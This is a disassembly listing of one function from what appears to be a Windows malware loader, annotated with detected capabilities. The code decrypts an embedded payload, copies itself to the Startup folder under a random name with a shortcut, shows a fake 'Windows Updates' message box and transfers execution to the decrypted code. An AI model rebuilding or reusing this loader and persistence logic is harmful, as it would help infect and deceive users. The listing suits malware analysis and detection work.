Function at 0x401b40
Capabilities:
Copy file
Get common file path
Get startup folder
Persist via lnk shortcut
Write file to startup folder

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x234
mov eax, dword [0x4e6c40]
xor eax, esp
mov dword [esp + 0x230], eax
movups xmm0, xmmword [0x45b010]
movups xmmword [esp + 0x21c], xmm0
movups xmm0, xmmword [str.YSfXuU3a4P5tpseTE6Qq7jzHBLmJ2FnC]
movups xmmword [esp + 0x20c], xmm0
mov byte [esp + 0x22c], 0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x78c25
push 0x40
call edi
mov esi, eax
push 0x5f5e100
push 0x40
call edi
test eax, eax
je 0x401e7d
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call fcn.004015a0
lea ebp, [esp + 0x10]
push 0x110
push 0
push ebp
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 4], 0x11c
sub esp, 0x10
movaps xmm0, xmmword [0x45b030]
movups xmmword [esp], xmm0
mov ebx, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
call ebx
push 3
push 1
push edx
push eax
call ebx
push 3
push 0x20
push edx
push eax
call ebx
mov dword [esp + 8], 0xa
mov dword [esp + 0xc], 0
mov word [esp + 0x118], 0
lea edi, [esp + 4]
push edx
push eax
push 0x23
push edi
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x401c28
push str.kernel32.dll
call fcn.004016b0
add esp, 4
push 0x2000
push 0
push 0x4e72b4
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x2000
push 0x4e72b4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x110
push 0
push ebp
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 4], 0x11c
sub esp, 0x10
movaps xmm0, xmmword [0x45b030]
movups xmmword [esp], xmm0
call ebx
push 3
push 1
push edx
push eax
call ebx
push 3
push 0x20
push edx
push eax
call ebx
mov dword [esp + 8], 6
mov dword [esp + 0xc], 2
mov word [esp + 0x118], 0
push edx
push eax
push 0x23
push edi
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x401cbc
push str.ntdll.dll
call fcn.004016b0
add esp, 4
push 0x110
push 0
push ebp
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 4], 0x11c
sub esp, 0x10
movaps xmm0, xmmword [0x45b030]
movups xmmword [esp], xmm0
call ebx
push 3
push 1
push edx
push eax
call ebx
push 3
push 0x20
push edx
push eax
call ebx
mov dword [esp + 8], 0xa
mov dword [esp + 0xc], 0
mov word [esp + 0x118], 0
push edx
push eax
push 0x23
push edi
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x401d22
call fcn.00401380
call fcn.00401a00
lea eax, [esp + 0x20c]
push eax
push str.mpdEMLHbuP2YvgUn
push 0
push 0
push 0x78c24
push section..data
push esi
call fcn.004020fd
add esp, 0x1c
push 0x208
push 0
push 0x4e70ac
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0
push 0x1a
push 0x4e70ac
push 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.dgsdfgs.exe
push 0x4e70ac
call ebp
push 0x208
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 7
push edi
push 0
call ebx
push str.GDsde.lnk
push edi
call ebp
push 0
push 0x4e70ac
push 0x4e72b4
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.MessageBoxTimeoutW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4b0
push 0
push 0
push str.Windows_Updates
push str.Updating_system_services___
push 0
call eax
sub esp, 0x20
xorps xmm0, xmm0
movups xmmword [esp + 0x10], xmm0
mov dword [esp + 8], edi
mov dword [esp + 0xc], 0x45ff30
mov dword [esp + 4], 0
mov dword [esp], 0x4e70ac
call fcn.004018a0
add esp, 0x20
push esi
call section..text
add esp, 4
mov esi, eax
cmp dword [eax + 8], 0
jne 0x401e35
push 0
push 0
push str.fail
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x401e47
mov ecx, dword fs:[0x30]
jmp 0x401e60
mov eax, dword [esi]
mov dword [ecx + 8], eax
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + 0x14]
mov ecx, dword [esi]
mov dword [eax + 0x10], ecx
mov eax, dword [esi + 8]
mov dword [esp], eax
jmp dword [esp]
mov esi, 0xffffffff
mov ecx, dword [esp + 0x230]
xor ecx, esp
call fcn.00401ebc
mov eax, esi
add esp, 0x234
pop esi
pop edi
pop ebx
pop ebp
ret 0x10